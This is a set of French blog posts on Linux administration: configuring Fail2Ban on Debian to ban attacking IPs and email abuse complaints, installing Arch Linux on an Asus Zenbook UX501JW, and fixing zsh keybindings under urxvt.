En bon français, je me suis dis qu'il peut être intéressant d'envoyer un mail de plainte (abuse mail) à l'aide du whois pour prévenir l'hébergeur. Bon vous leurrez pas, 90% du temps vous n'aurez aucune réponse des types (la majorité venant de Chine), mais ça peut toujours être utile pour prévenir certains propriétaires s'étant fait embrigader leurs serveurs dans des réseaux zombies. Nous allons utiliser Fail2Ban afin d'arriver à notre but.

La suite du guide prendra pour référence une Debian Jessie, mais bien sûr la procédure peut-être reproduite sur quasi chaque distribution (avec peut-être quelques adaptations).

Installation

Commençons cette étape très difficile :

# apt-get install fail2ban

On va ensuite copier le fichier de configuration jail.conf en jail.local. Il peut arriver qu'après une mise à jour de votre distribution le premier fichier soit modifié. Il est aussi possible de n'ajouter que vos modification dans jail.local au lieu de tout copier ou bien d'utiliser des bouts de fichiers de configurations à mettre dans jail.d.
J'ai choisi la première car étant la plus simple et la plus rapide, faites bien comme vous voulez :

# cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local

Configuration

La configuration de Fail2Ban est relativement simple une fois qu'on a compris le concept. Il va lire les fichiers de logs que vous spécifierez puis détectera et bannira automatiquement les IP ayant fait un certain nombre de tentatives infructueuses (durant un certain intervalle de temps). Pour cela il utilise simplement des expressions régulières. Vous trouverez les configurations de ces expressions régulières par service dans le dossier filter.d. Vous pouvez ajouter vos propres filtres en créant simplement de nouveaux fichiers.

Une fois que Fail2Ban détecte un certains nombre de tentatives ratées, il effectue une action. Ces dernières sont présentes dans le dossier action.d. Nous allons dans ce billet le configurer pour qu'il effectue les actions suivantes :

• Bannir l'IP à l'aide d'iptables (possible de le configurer avec d'autres firewalls)
• Nous envoyer un mail avec les détails du ban (Whois, extraits des logs...)
• Envoyer un mail d'abuse à l'aide du whois de l'IP du vilain

Nous avons donc dans le fichier de configuration les variables importantes suivantes :

• bantime : le nombre de secondes durant lesquelles bannir l'IP
• maxretry et findtime : le délai durant lequel une IP sera bannie au bout de ce certain nombre de tentatives loupées
• destemail : l'adresse mail à laquelle Fail2Ban fera son rapport
• banaction : la méthode de ban
• action : l'action à exécuter lors d'un ban

Puis viennent les différents services apportés par Fail2Ban par défaut. On peut voir entre autres son nom, si vous l'activez ou non, le port (pour les règles iptables multiports), le filtre et le fichier de log à utiliser pour détecter les tentatives.

Je vous laisse activer les services que vous voulez. Spécifiez aussi le bantime et maxretry que vous jugez nécessaires et n'oubliez pas d'ajouter votre destemail. Nous allons utiliser iptables-multiport dans ce guide comme méthode de ban mais vous pouvez adapter l'option selon votre pare-feu.

En ce qui concerne l'action, nous allons utiliser %(action_mwl)s afin que Fail2Ban banisse l'IP et nous envoie un email contenant le whois et les extraits des fichiers de logs concernant le ban. Nous allons ajouter après cette partie le fait d'envoyer un abuse mail via le whois :

action = %(action_mwl)s sendmail-complain

Création de l'action

Nous allons donc créer l'action sendmail-complain.conf dans /etc/fail2ban/action.d à récupérer ici : https://gist.github.com/Chocobozzz/b19c45d0bec218dec3d5. Ce dernier sera exécuté à chaque ban d'IP.

En route

Maintenant que la configuration est prête vous pouvez enfin lancer Fail2Ban :

# systemctl start fail2ban

Si tout se passe bien vous devriez recevoir les emails de mise en route des différents services que vous avez activé. Peu de temps après doivent arriver vos premiers rapports de ban et si tout se passe bien les hébergeurs doivent recevoir leur plainte abuse. :)

Lorsqu'on achète un nouvel ordinateur, on a toujours un peu peur de la compatibilité avec GNU/Linux. Du coup on cherche sur internet des retours, mais on trouve pas toujours.

Je vais donc en profiter pour faire un topo d'une installation d'un ArchLinux sur un Asus Zenbook UX501JW-cn209h.

Vous avez différents tests matériels sur 01net et les numériques. Pour rappel, les principaux composants sont un i7 (HD 4600), NVidia GTX 960, Qualcomm Atheros AR9462 (wifi/bluetooth), d'une webcam et micro, d'un SSD (SanDisk) en PCI, d'un HDD et d'un clavier rétro éclairé.

Boot sur clé USB

Donc c'était sûr d'avance, c'est de l'UEFI avec secure boot activé par défaut. Il est possible de simuler un legacy bios, et de désactiver le secure boot. Personnellement je suis resté en UEFI, Arch' étant compatible autant ne pas compliquer les choses.
Il arrive qu'il y ait des soucis avec le pilote nouveau, mais on arrive à booter sur la clé et à faire son installation.

Installation

Juste pour information, j'ai viré Windows (cf la partie sur le remboursement) et partitionné selon le schéma suivant :

• Sur le SSD :
  • /boot/EFI : 100Mo
  • LVM pour le reste qui contient / et /home avec 60GO chacun
• Sur le HDD
  • LVM sur 10 Go pour le swap (raccordé au volume du SSD)
  • ext4 pour le reste

Le bootloader est syslinux.
La racine est chiffrée à l'aide d'une passphrase et contient la clé permettant de déchiffrer le /home. Le swap est chiffré à l'aide d'une clé aléatoire à chaque reboot.

XFCE est simplement installé avec Slim.

Premier boot

Touches fn

Bonne nouvelle, le clavier rétro éclairé est parfaitement géré d'office. Par contre pour les autres touches Fn c'est plus compliqué. Commençons dans l'ordre :

• fn1 (veille) : fonctionne de base
• fn2 (mode avion) : il faut simplement mapper votre touche dans les paramètres du clavier d'XFCE avec un script désactivant le wifi/bluetooth
• fn3/4 (luminosité du clavier) : gérés d'office
• fn5/6 (luminosité de l'écran) : il faut rajouter l'option de boot acpi_osi= pour que le système d'exploitation puisse utiliser ACPI
• fn7 (???) : je n'ai pas vraiment saisi à quoi servait cette touche ><
• fn8 (affichage) : il suffit de mapper la touche dans les paramètres de XFCE
• fn9 (désactivation/activation du touchpad) : même chose que pour fn8
• f10/f11/f12 (contrôle du son) : j'ai personnellement installé alsa, pulseaudio puis les greffons XFCE permettant de manipuler pulseaudio à savoir xfce4-pulseaudio-plugin et xfce4-volumed-pulse. Ce dernier permet de manipuler directement avec les touches fn le volume audio de pulse.

Cartes graphiques

J'ai choisi d'utiliser la carte Intel de base, et de lancer avec les drivers propriétaires et Bumblebee que certaines applications avec la carte NVidia. Il faut alors charger les modules i915 et bbswitch via le mkinitcpio et créer un fichier Intel dans les confs Xorg. Ça fonctionne parfaitement. Pour information, vous pouvez monitorer vos cartes Intel et NVIdia avec intel_gpu_top et nvidia_smi.

Wifi/Bluetooth

La carte est géré par le module ath9k donc rien besoin de faire de ce côté là avec un noyau >= 3.2. En revanche le bluetooth ne fonctionne pas. Je pense que ça arrivera sous peu avec les prochaines versions (4.1, 4.2) de Linux (voir ce commit).

EDIT : C'est finalement Linux 4.1 qui gère la carte :)

Caméra et micro

La webcam est geré de base avec linux-uvc. De même pour le micro, je n'ai pas eu de soucis.

Ventilateurs

Il y a deux ventilateurs sur l'ordinateur. Hors les modèles Zenbook n'ont pas l'air d'être reconnus par lm-sensors. Il est toutefois possible de modifier leur vitesse à l'aide d'ACPI : https://bbs.archlinux.org/viewtopic.php?id=186684. Je vous mets ici le script fancontrol.py adapté au modèle UX501JW. Le script en soit est plus un test pour voir si ça fonctionne que d'une réelle utilité. Mais vous pouvez ensuite facilement l'adapter à votre envie.
Il se peut que l'ordinateur réduise les fréquences de son CPU car ses coeurs atteignent facilement les 80° lors de compilations en -j 8 par exemple. Par contre je n'ai pas l'impression qu'à ce moment là les ventilateurs soient à 100%. Du coup ça peut être intéressant de lancer le script afin de mettre les mettre à fond et d'éviter le throttling.

Remboursement Windows

La procédure de remboursement de Windows chez Asus est franchement simple et pas trop pénible. Il suffit d'envoyer un email à acf_coa@asus.com et on vous donne la procédure. On donne ensuite les informations concernant le produit acheté (numéro de série, différents scans etc). C'est un peu lourd mais en 3 emails on vous rembourse normalement la licence qui est à 42€ pour un Windows 8 de base. C'est franchement agréable.

Ce billet a été initialement publié l'année dernière sur http://blog.sandrocazzaniga.fr

J'utilise comme émulateur de terminal rxvt qui peut fonctionner en mode daemon/client ce qui peut le rendre très rapide. De plus il est fortement configurable et consomme peu. Seulement j'utilise ZSH comme bourne shell et j'ai rencontré quelques difficultés à faire cohabiter les deux (sous ArchLinux).

Le principal problème était qu'un paquet de touches n'était pas reconnu notamment celui pour aller en fin de ligne, utiliser la recherche inverse, supprimer le caractère via la touche suppr etc.

Il vous faut pour celà ajouter ces commandes dans votre .zshrc :

typeset -g -A key

bindkey -e
bindkey "^[[3~" delete-char
bindkey "^R" history-incremental-search-backward
bindkey "^[[1;5D" emacs-backward-word
bindkey "^[[1;5C" emacs-forward-word
bindkey "^[[5~" up-line-or-history
bindkey "^[[6~" down-line-or-history
bindkey "^[[7~" beginning-of-line
bindkey "^[[8~" end-of-line

Vous devrez peut-être adapter les codes. Pour simplement savoir quelle touche correspond à quelle code, exécutez la commande cat sans argument et tapez la touche qui vous intéresse. Dans mon cas pour la touche Ctrl-Fleche + droite :

% cat 
^[[1;5C

J'ai longtemps eu encore un problème, le forward/backward word ne fonctionnait pas. Lorque j'éxecutais la combinaison de touche Ctrl+fleche droite/gauche rxvt scintillait. J'ai enfin résolu mon problème en rajoutant au fichier de conf d'urxvt (~/.Xdefaults) les deux lignes suivantes :

URxvt.keysym.C-Right : \033[1;5C
URxvt.keysym.C-Left : \033[1;5D

EDIT: Après mise à jour vers la version 9.21 ce "hack" ne fonctionnait plus. Si vous utilisez le plugin tabbed avec urxvt, et que vous voulez quand même avoir le backward/forward word il vous faudra supprimer le bloc ligne (environ) 370 du fichier /usr/lib/urxvt/perl/tabbed. En fait tabbed code en dur l'utilisation de Ctrl+fleche droite/gauche pour déplacer les "tab". Du coup j'ai pas trouvé d'autre moyen d'outrepasser ça.

Enfin, je voulais scroller via Shift+PageUp/Down. Il faut encore rajouter dans le fichier de conf d'rxvt :

URxvt.keysym.Shift-PageUp: command:\033]720;1\007
URxvt.keysym.Shift-PageDown: command:\033]721;1\007

Et voilà, les pageUp/Down, début de ligne, fin de ligne, la touche suppr, la recherche dans l'historique, les backward/forward word devraient maintenant fonctionner dans votre terminal préféré.